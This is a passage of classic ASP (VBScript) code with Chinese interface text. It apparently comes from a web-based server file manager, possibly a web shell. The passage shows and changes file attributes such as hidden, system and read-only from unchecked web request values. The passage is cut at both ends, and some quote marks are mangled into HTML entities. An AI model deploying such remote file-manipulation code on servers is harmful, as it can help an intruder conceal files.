  Set theFolder = Nothing
  Else
  Set theFile = fsoX.GetFile(thePath)
  If newAct = " 修改 " Then
   setMyTitle(theFile)
  End If
  theTitle = getMyTitle(theFile)
  Set theFile = Nothing
  End If
  
  chkErr(Err)
  theTitle = Replace(theTitle, vbNewLine, "<br/>")
  echo "<style>body{margin:8;overflow:hidden;}</style>"
  echo "<form method=post>"
  echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """>"
  echo "<input type=hidden name=theAct value=doModifyAttributes>"
  echo theTitle
  echo "<hr/><input type=submit name=newAct value=&#39; 修改 &#39;>" & strJsCloseMe
  echo "</form>"
End Sub

Function getMyTitle(theOne)
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Dim strTitle
  strTitle = strTitle & "路径: " & theOne.Path & "" & vbNewLine
  strTitle = strTitle & "大小: " & getTheSize(theOne.Size) & vbNewLine
  strTitle = strTitle & "属性: " & getAttributes(theOne.Attributes) & vbNewLine
  strTitle = strTitle & "创建时间: " & theOne.DateCreated & vbNewLine
  strTitle = strTitle & "最后修改: " & theOne.DateLastModified & vbNewLine
  strTitle = strTitle & "最后访问: " & theOne.DateLastAccessed
  getMyTitle = strTitle
End Function

Sub setMyTitle(theOne)
  Dim i, myAttributes
  
  For i = 1 To Request("attributes").Count
  myAttributes = myAttributes + CInt(Request("attributes")(i))
  Next
  theOne.Attributes = myAttributes
  
  chkErr(Err)
  echo  "<script>alert(&#39;该文件(夹)属性已按正确设置修改完成!&#39;);</script>"
End Sub

Function getAttributes(intValue)
  Dim strAtt
  strAtt = "<input type=checkbox name=attributes value=4 {$system}>系统 "
  strAtt = strAtt & "<input type=checkbox name=attributes value=2 {$hidden}>隐藏 "
  strAtt = strAtt & "<input type=checkbox name=attributes value=1 {$readonly}>只读  "
  strAtt = strAtt & "<input type=checkbox name=attributes value=32 {$archive}>存档<br/>　　  "
  strAtt = strAtt & "<input type=checkbox name=attributes {$normal} value=0>普通 "
  strAtt = strAtt & "<input type=checkbox name=attributes value=128 {$compressed}>压缩 "
  strAtt = strAtt & "<input type=checkbox name=attributes value=16 {$directory}>文件夹 "
  strAtt = strAtt & "<input type=checkbox name=attributes value=64 {$alias}>快捷方式"
&#39;  strAtt = strAtt & "<input type=checkbox name=attributes value=8 {$volume}>卷标 "
  If intValue = 0 Then
  strAtt = Replace(strAtt, "{$normal}", "checked")
  End If
  If intValue >= 128 Then
  intValue = intValue - 128
  strAtt = Replace(strAtt, "{$compressed}", "checked")
  End If
  If intValue >= 64 Then
  intValue = intValue - 64
  strAtt = Replace(strAtt, "{$alias}", "checked")
  End If
  If intValue >= 32 Then
  intValue = intValue - 32
  strAtt = Replace(strAtt, "{$archive}", "checked")
  End If
  If intValue >= 16 Then
  intValue = intValue - 16
  strAtt = Replace(strAtt, "{$directory}", "checked")
  End If
  If intValue >= 8 Then
  intValue = intValue - 8
  strAtt = Replace(strAtt, "{$volume}", "checked")
  End If
  If intValue >= 4 Then
  intValue = intValue - 4
  strAtt = Replace(strAtt, "{$system}", "checked")
  End If
  If intValue >= 2 Then
  intValue = intValue - 2
  strAtt = Replace(strAtt, "{$hidden}", "checked")
  End If
  If intValue >= 1 Then
  intValue = i